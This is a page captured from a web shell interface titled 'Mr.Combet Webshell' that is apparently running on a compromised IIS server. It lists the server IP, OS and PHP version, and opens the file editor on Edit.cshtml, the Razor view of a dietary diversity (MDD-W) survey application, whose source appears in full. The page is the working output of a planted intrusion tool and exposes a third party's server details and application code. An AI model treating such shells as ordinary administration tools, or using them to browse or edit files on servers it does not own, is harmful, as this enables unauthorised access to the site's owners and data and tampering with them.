Mr.Combet Webshell
Your IP :
216.73.216.136
Server IP :
103.233.58.157
Server :
Windows NT WIN-4PGF72KEHKB 10.0 build 17763 (Windows Server 2016) AMD64
Server Software :
Microsoft-IIS/10.0
PHP Version :
7.3.25
Add File :
Submit
Add Directory :
Submit
Dir :
C:
/
inetpub
/
wwwroot
/
mapqa
/
Views
/
Mddw
/
Edit File Name :
Edit.cshtml
@model RER_Project.DataAccess.ViewModels.MDDW.MddwViewModel @{ ViewBag.Title = "Edit"; Layout = "~/Views/Shared/_Layout.cshtml"; } <div class="row wrapper border-bottom white-bg page-heading"> <strong><span style="font-size:medium"> Edit MDD-W of @Model.MemberDetailView.first_name @Model.MemberDetailView.last_name</span></strong><br /> <br /> <div class="col-md-10"> <div class="row"> <div class="col-lg-12"> <span style="font-size: 100%;"> IFF Name: <strong>@Model.MemberDetailView.group_name</strong> </span> <span style="font-size: 100%;"> Commodity: <strong>@Model.MemberDetailView.commodity</strong> </span> </div> </div> <div class="row"> <div class="col-lg-12"> <br /> <span style="font-size: 100%;"> Province: <strong>@Model.MemberDetailView.states</strong> </span> <span style="font-size: 100%;"> Atoll: <strong>@Model.MemberDetailView.district_name</strong> </span> <span style="font-size: 100%;"> Island: <strong>@Model.MemberDetailView.municipality_name</strong> </span> @*<span style="font-size: 100%;"> Ward: <strong>@Model.MemberDetailView.WardNo</strong> </span>*@ </div> </div> </div> </div> <div class="wrapper wrapper-content animated fadeInRight"> <div class="row"> <div class="col-lg-12"> <div class="ibox float-e-margins"> <div class="ibox-content"> <label style="font-size: medium"><b> MDD-W Questionnaire</b></label> <br /><b>Food items that the respondent is consuming in last 24 hours should be considered.</b> <hr /> <form id="CreateForm"> <div id="eror_msg"></div> <div class="row"> <input type="hidden" id="GroupId" name="GroupId" value="@Model.MemberDetailView.group_id" /> <input type="hidden" id="MemberId" name="MemberId" value="@Model.MemberDetailView.id" /> <input type="hidden" id="RecordId" name="Id" value="@Model.MddwRecord.Id" /> <div class="row"> <div class="form-group col-md-6"> <label>Fiscal Year </label> <select type="text" class="form-control required" name="FiscalYearId" id="FiscalYearId" data-api="/fiscal_year_unlocked/select" data-api-selected-value="@Model.FiscalYearId" disabled></select> </div> </div> <div class="row"> <div class="form-group col-md-12"> <label>1. Grains Food @*१. तपाईंको परिवारमा कति जना सदस्य छन्?*@</label> <br /> @foreach (var item in Model.GrainFood) { var isChecked = false; foreach (var val in Model.MddwVm) { @*<input type="hidden" class="GrainFood @val.Id" name="Id" value="@val.Id" />*@ if (val.Category_Type == "Grain Food" && val.CategoryId == item.id) { isChecked = true; break; } } <label for="@item.name" style="margin-right: 20px; height: 20px; margin-top: 15px;"> <input type="checkbox" class="Grain Food" name="category_id" value="@item.id" label="@item.name" @(isChecked ? "checked" : "") id="@item.name" /> @item.name </label> } @*<input type="checkbox" class="form-control required" name="FamilyMembers" id="FamilyMembers" data-api="/mddw-grainfood"></input> <select type="text" class="form-control required" name="FamilyMembers" id="FamilyMembers" data-api="/mddw-grainfood"></select>*@ </div> <div class="form-group col-md-12"> <label>2. White roots and tubers and plantains @*२. तपाईंको पुरुष परिवारमुलीले वा महिला परिवार मुलि भए निजको श्रीमानले बिगत ७ दिनमा रोजगारीको कुन क्षेत्रमा बढी घण्टा काम गर्यो?*@</label><br /> @foreach (var item in Model.WhiteRootsTubersPlantains) { var isChecked = false; foreach (var val in Model.MddwVm) { if (val.Category_Type == "White roots and tubers and plantains" && val.CategoryId == item.id) { isChecked = true; break; } } <label for="@item.name" style="margin-right: 20px; height: 20px; margin-top: 15px;"> <input type="checkbox" class="White roots and tubers and plantains" name="category_id" value="@item.id" label="@item.name" @(isChecked ? "checked" : "") id="@item.name" /> @item.name </label> @*<label for="@item.name" class="form-control"> <input type="checkbox" class="White roots and tubers and plantains" name="category_id" value="@item.id" label="@item.name" /> @item.name </label>*@ } @*<select type="text" class="form-control required" name="Employment" id="Employment" data-api="/ppi-employment/select"></select>*@ </div> </div> <div class="row"> <div class="form-group col-md-12"> <label>3. Pulses @*३. घर बहिरी भित्तामा प्रयोग भएको प्रमुख निर्माण सामाग्रीहरु:*@</label><br /> @foreach (var item in Model.Pulses) { var isChecked = false; foreach (var val in Model.MddwVm) { if (val.Category_Type == "Pulses" && val.CategoryId == item.id) { isChecked = true; break; } } <label for="@item.name" style="margin-right: 20px; height: 20px; margin-top: 15px;"> <input type="checkbox" class="Pulses" name="category_id" value="@item.id" label="@item.name" @(isChecked ? "checked" : "") id="@item.name" /> @item.name </label> @*<label for="@item.name" class="form-control"> <input type="checkbox" class="Pulses" name="category_id" value="@item.id" label="@item.name" /> @item.name </label>*@ } @*<select type="text" class="form-control required" name="Wall" id="Wall" data-api="/ppi-wall/select"></select>*@ </div> <div class="form-group col-md-12"> <label>4. Nuts and Seeds @*४. घरको छाना मुख्य कुन निर्माण सामाग्रीले बनाईएको छ?*@</label><br /> @foreach (var item in Model.NutAndSeed) { var isChecked = false; foreach (var val in Model.MddwVm) { if (val.Category_Type == "Nuts and Seeds" && val.CategoryId == item.id) { isChecked = true; break; } } <label for="@item.name" style="margin-right: 20px; height: 20px; margin-top: 15px;"> <input type="checkbox" class="Nuts and Seeds" name="category_id" value="@item.id" label="@item.name" @(isChecked ? "checked" : "") id="@item.name" /> @item.name </label> @*<label for="@item.name" class="form-control"> <input type="checkbox" class="Nuts and Seeds" name="category_id" value="@item.id" label="@item.name" /> @item.name </label>*@ } @*<select type="text" class="form-control required" name="Roof" id="Roof" data-api="/ppi-roof/select"></select>*@ </div> </div> <div class="row"> <div class="form-group col-md-12"> <label>5. Milk and Milk Products @*५.तपाईंको घरमा सुत्ने कोठा कतिवटा छन्?*@</label><br /> @foreach (var item in Model.MilkAndMilkproduct) { var isChecked = false; foreach (var val in Model.MddwVm) { if (val.Category_Type == "Milk and Milk Products" && val.CategoryId == item.id) { isChecked = true; break; } } <label for="@item.name" style="margin-right: 20px; height: 20px; margin-top: 15px;"> <input type="checkbox" class="Milk and Milk Products" name="category_id" value="@item.id" label="@item.name" @(isChecked ? "checked" : "") id="@item.name" /> @item.name </label> @* <label for="@item.name" class="form-control"> <input type="checkbox" class="Milk and Milk Products" name="category_id" value="@item.id" label="@item.name" /> @item.name </label>*@ } @*<select type="text" class="form-control required" name="Bedroom" id="Bedroom" data-api="/ppi-bedroom/select"></select>*@ </div> <div class="form-group col-md-12"> <label>6. Organ Meat @*६. के तपाईको घरमा छुट्टै भान्सा कोठा छ?*@</label><br /> @foreach (var item in Model.OrganMeat) { var isChecked = false; foreach (var val in Model.MddwVm) { if (val.Category_Type == "Organ Meat" && val.CategoryId == item.id) { isChecked = true; break; } } <label for="@item.name" style="margin-right: 20px; height: 20px; margin-top: 15px;"> <input type="checkbox" class="Organ Meat" name="category_id" value="@item.id" label="@item.name" @(isChecked ? "checked" : "") id="@item.name" /> @item.name </label> @*<label for="@item.name" class="form-control"> <input type="checkbox" class="Organ Meat" name="category_id" value="@item.id" label="@item.name" /> @item.name </label>*@ } @*<select type="text" class="form-control required" id="Kitchen" name="Kitchen" data-api="/ppi-kitchen/select"></select>*@ </div> </div> <div class="row"> <div class="form-group col-md-12"> <label>7. Meat and Poultry @*७. तपाईको घरमा खाना पकाउनको लागि मुख्यता कुन प्रकारको चुल्हो प्रयोग गर्दछ?*@</label><br /> @foreach (var item in Model.MeatAndPoultry) { var isChecked = false; foreach (var val in Model.MddwVm) { if (val.Category_Type == "Meat and Poultry" && val.CategoryId == item.id) { isChecked = true; break; } } <label for="@item.name" style="margin-right: 20px; height: 20px; margin-top: 15px;"> <input type="checkbox" class="Meat and Poultry" name="category_id" value="@item.id" label="@item.name" @(isChecked ? "checked" : "") id="@item.name" /> @item.name </label> @*<label for="@item.name" class="form-control"> <input type="checkbox" class="Meat and Poultry" name="category_id" value="@item.id" label="@item.name" /> @item.name </label>*@ } @*<select type="text" class="form-control required" name="Stove" id="Stove" data-api="/ppi-stove/select"></select>*@ </div> <div class="form-group col-md-12"> <label>8. Fish and Sea food @*८. तपाईको घरमा भएको शौचालय कस्तो प्रकारको छ?*@</label><br /> @foreach (var item in Model.FishAndSeafood) { var isChecked = false; foreach (var val in Model.MddwVm) { if (val.Category_Type == "Fish and Sea food" && val.CategoryId == item.id) { isChecked = true; break; } } <label for="@item.name" style="margin-right: 20px; height: 20px; margin-top: 15px;"> <input type="checkbox" class="Fish and Sea food" name="category_id" value="@item.id" label="@item.name" @(isChecked ? "checked" : "") id="@item.name" /> @item.name </label> @*<label for="@item.name" class="form-control"> <input type="checkbox" class="Fish and Sea food" name="category_id" value="@item.id" label="@item.name" /> @item.name </label>*@ } @*<select type="text" class="form-control required" name="Toilet" id="Toilet" data-api="/ppi-toilet/select"></select>*@ </div> </div> <div class="row"> <div class="form-group col-md-12"> <label>9. Eggs @*९. तपाईको घरमा कतिवटा टेलिफोन सेट(तार सहित वा मोवाईल फोन) छन्?*@</label><br /> @foreach (var item in Model.Eggs) { var isChecked = false; foreach (var val in Model.MddwVm) { if (val.Category_Type == "Eggs" && val.CategoryId == item.id) { isChecked = true; break; } } <label for="@item.name" style="margin-right: 20px; height: 20px; margin-top: 15px;"> <input type="checkbox" class="Eggs" name="category_id" value="@item.id" label="@item.name" @(isChecked ? "checked" : "") id="@item.name" /> @item.name </label> @*<label for="@item.name" class="form-control"> <input type="checkbox" class="Eggs" name="category_id" value="@item.id" label="@item.name" /> @item.name </label>*@ } @*<select type="text" class="form-control required" name="Mobile" id="Mobile" data-api="/ppi-mobile/select"></select>*@ </div> <div class="form-group col-md-12"> <label>10. Dark green Leafy Vegetables @*१०. के तपाईको परिवारको स्वामित्वमा वा अधिया वा बन्धकीमा खेतीपाती गर्ने जमिन छ? यदी छ भने ति मध्ये के कति सिंचित जमिन छ?*@</label><br /> @foreach (var item in Model.DarkGreenLeafyVegetables) { var isChecked = false; foreach (var val in Model.MddwVm) { if (val.Category_Type == "Dark green Leafy Vegetables" && val.CategoryId == item.id) { isChecked = true; break; } } <label for="@item.name" style="margin-right: 20px; height: 20px; margin-top: 15px;"> <input type="checkbox" class="Dark green Leafy Vegetables" name="category_id" value="@item.id" label="@item.name" @(isChecked ? "checked" : "") id="@item.name" /> @item.name </label> @*<label for="@item.name" class="form-control"> <input type="checkbox" class="Dark green Leafy Vegetables" name="category_id" value="@item.id" label="@item.name" /> @item.name </label>*@ } @*<select type="text" class="form-control required" name="Irrigation" id="Irrigation" data-api="/ppi-irrigation/select"></select>*@ </div> </div> <div class="row"> <div class="form-group col-md-12"> <label>11. Vitamin A rich vegetables, roots and tubers @*९. तपाईको घरमा कतिवटा टेलिफोन सेट(तार सहित वा मोवाईल फोन) छन्?*@</label><br /> @foreach (var item in Model.VitaminARichVegetablesRootsAndTubers) { var isChecked = false; foreach (var val in Model.MddwVm) { if (val.Category_Type == "Vitamin A rich vegetables, roots and tubers" && val.CategoryId == item.id) { isChecked = true; break; } } <label for="@item.name" style="margin-right: 20px; height: 20px; margin-top: 15px;"> <input type="checkbox" class="Vitamin A rich vegetables, roots and tubers" name="category_id" value="@item.id" label="@item.name" @(isChecked ? "checked" : "") id="@item.name" /> @item.name </label> @*<label for="@item.name" class="form-control"> <input type="checkbox" class="Vitamin A rich vegetables, roots and tubers" name="category_id" value="@item.id" label="@item.name" /> @item.name </label>*@ } @*<select type="text" class="form-control required" name="Mobile" id="Mobile" data-api="/ppi-mobile/select"></select>*@ </div> <div class="form-group col-md-12"> <label>12. Vitamin A rich Fruits @*१०. के तपाईको परिवारको स्वामित्वमा वा अधिया वा बन्धकीमा खेतीपाती गर्ने जमिन छ? यदी छ भने ति मध्ये के कति सिंचित जमिन छ?*@</label><br /> @foreach (var item in Model.VitaminARichFruits) { var isChecked = false; foreach (var val in Model.MddwVm) { if (val.Category_Type == "Vitamin A rich Fruits" && val.CategoryId == item.id) { isChecked = true; break; } } <label for="@item.name" style="margin-right: 20px; height: 20px; margin-top: 15px;"> <input type="checkbox" class="Vitamin A rich Fruits" name="category_id" value="@item.id" label="@item.name" @(isChecked ? "checked" : "") id="@item.name" /> @item.name </label> @*<label for="@item.name" class="form-control"> <input type="checkbox" class="Vitamin A rich Fruits" name="category_id" value="@item.id" label="@item.name" /> @item.name </label>*@ } @*<select type="text" class="form-control required" name="Irrigation" id="Irrigation" data-api="/ppi-irrigation/select"></select>*@ </div> </div> <div class="row"> <div class="form-group col-md-12"> <label>13. Other Vegetables @*९. तपाईको घरमा कतिवटा टेलिफोन सेट(तार सहित वा मोवाईल फोन) छन्?*@</label><br /> @foreach (var item in Model.OtherVegitables) { var isChecked = false; foreach (var val in Model.MddwVm) { if (val.Category_Type == "Other Vegetables" && val.CategoryId == item.id) { isChecked = true; break; } } <label for="@item.name" style="margin-right: 20px; height: 20px; margin-top: 15px;"> <input type="checkbox" class="Other Vegetables" name="category_id" value="@item.id" label="@item.name" @(isChecked ? "checked" : "") id="@item.name" /> @item.name </label> @*<label for="@item.name" class="form-control"> <input type="checkbox" class="Other Vegetables" name="category_id" value="@item.id" label="@item.name" /> @item.name </label>*@ } @*<select type="text" class="form-control required" name="Mobile" id="Mobile" data-api="/ppi-mobile/select"></select>*@ </div> <div class="form-group col-md-12"> <label>14. Other Fruits @*१०. के तपाईको परिवारको स्वामित्वमा वा अधिया वा बन्धकीमा खेतीपाती गर्ने जमिन छ? यदी छ भने ति मध्ये के कति सिंचित जमिन छ?*@</label><br /> @foreach (var item in Model.OtherFruits) { var isChecked = false; foreach (var val in Model.MddwVm) { if (val.Category_Type == "Other Fruits" && val.CategoryId == item.id) { isChecked = true; break; } } <label for="@item.name" style="margin-right: 20px; height: 20px; margin-top: 15px;"> <input type="checkbox" class="Other Fruits" name="category_id" value="@item.id" label="@item.name" @(isChecked ? "checked" : "") id="@item.name" /> @item.name </label> @*<label for="@item.name" class="form-control"> <input type="checkbox" class="Other Fruits" name="category_id" value="@item.id" label="@item.name" /> @item.name </label>*@ } @*<select type="text" class="form-control required" name="Irrigation" id="Irrigation" data-api="/ppi-irrigation/select"></select>*@ </div> </div> <div class="row"> <div class="form-group col-md-12"> <label>15. Condiments and Seasonings @*९. तपाईको घरमा कतिवटा टेलिफोन सेट(तार सहित वा मोवाईल फोन) छन्?*@</label><br /> @foreach (var item in Model.CondimentsAndSeasonings) { var isChecked = false; foreach (var val in Model.MddwVm) { if (val.Category_Type == "Condiments and Seasonings" && val.CategoryId == item.id) { isChecked = true; break; } } <label for="@item.name" style="margin-right: 20px; height: 20px; margin-top: 15px;"> <input type="checkbox" class="Condiments and Seasonings" name="category_id" value="@item.id" label="@item.name" @(isChecked ? "checked" : "") id="@item.name" /> @item.name </label> @*<label for="@item.name" class="form-control"> <input type="checkbox" class="Condiments and Seasonings" name="category_id" value="@item.id" label="@item.name" /> @item.name </label>*@ } @*<select type="text" class="form-control required" name="Mobile" id="Mobile" data-api="/ppi-mobile/select"></select>*@ </div> <div class="form-group col-md-12"> <label>16. Other beverage and foods @*१०. के तपाईको परिवारको स्वामित्वमा वा अधिया वा बन्धकीमा खेतीपाती गर्ने जमिन छ? यदी छ भने ति मध्ये के कति सिंचित जमिन छ?*@</label><br /> @foreach (var item in Model.OtherBeverageAndFoods) { var isChecked = false; foreach (var val in Model.MddwVm) { if (val.Category_Type == "Other beverage and foods" && val.CategoryId == item.id) { isChecked = true; break; } } <label for="@item.name" style="margin-right: 20px; height: 20px; margin-top: 15px;"> <input type="checkbox" class="Other beverage and foods" name="category_id" value="@item.id" label="@item.name" @(isChecked ? "checked" : "") id="@item.name" /> @item.name </label> @*<label for="@item.name" class="form-control"> <input type="checkbox" class="Other beverage and foods" name="category_id" value="@item.id" label="@item.name" /> @item.name </label>*@ } @*<select type="text" class="form-control required" name="Irrigation" id="Irrigation" data-api="/ppi-irrigation/select"></select>*@ </div> </div> <div class="row"> <div class="form-group col-md-2 pull-right"> <input type="button" value="Save" class="btn btn-primary" id="SubmitButton" /><span> </span> @if (Model.MemberDetailView.group_id == 0) { <a href="/mddw?groupId=0&memberId=@Model.MemberDetailView.id" class="btn btn-default"><i class="fa fa-arrow-circle-o-left" aria-hidden="true"></i> Back</a> } else { <a href="/group-members?groupId=@Model.MemberDetailView.group_id" class="btn btn-default">Back</a> } </div> </div> </div> </form> </div> </div> </div> </div> </div> <script> $(document).ready(function () { window.initializeSelectApis(); window.initializeCascadeLocation(); }) $("#SubmitButton").off("click").on("click", function () { function request(model) { const url = "/mddw/edit"; const data = JSON.stringify(model); debugger; console.log(data); return window.getAjaxRequest(url, "POST", data); } const form = $("#CreateForm"); $.validator.unobtrusive.parse(form); if (!form.valid()) { return false; }; if (!window.confirmAction()) { return; }; WorkForce.loader.show(); function getMDDWList() { var mddwList = []; $("input[name='category_id']:checked").map(function () { mddwList.push({ category_id: $(this).val(), mddw_category_type: $(this).attr("class"), member_id: document.getElementById("MemberId").value, fiscal_year_id: document.getElementById("FiscalYearId").value, group_id: document.getElementById("GroupId").value }) }); return mddwList; } function getModel() { return ({ @*GroupId: document.getElementById("GroupId").value, MemberId: document.getElementById("MemberId").value,*@ MddwRecord: getMDDWRecord(), MDDWList: getMDDWList() }); } function getMDDWRecord() { var mddwRecord; mddwRecord = { Id: document.getElementById("RecordId").value, member_id: document.getElementById("MemberId").value, fiscal_year_id: document.getElementById("FiscalYearId").value, group_id: document.getElementById("GroupId").value }; return mddwRecord; } //const model = window.serializeForm(form); const model = getModel(); const ajax = request(model); ajax.done(function (response) { WorkForce.loader.hide(); showNotification("success"); window.location = "/mddw?groupId=@Model.MemberDetailView.group_id&memberId=@Model.MemberDetailView.id"; }); ajax.fail(function (xhr) { WorkForce.loader.hide(); ShowMessage("error", xhr.responseText); }); }) </script> <style> .form-group label { margin-top: 30px; } </style>
Save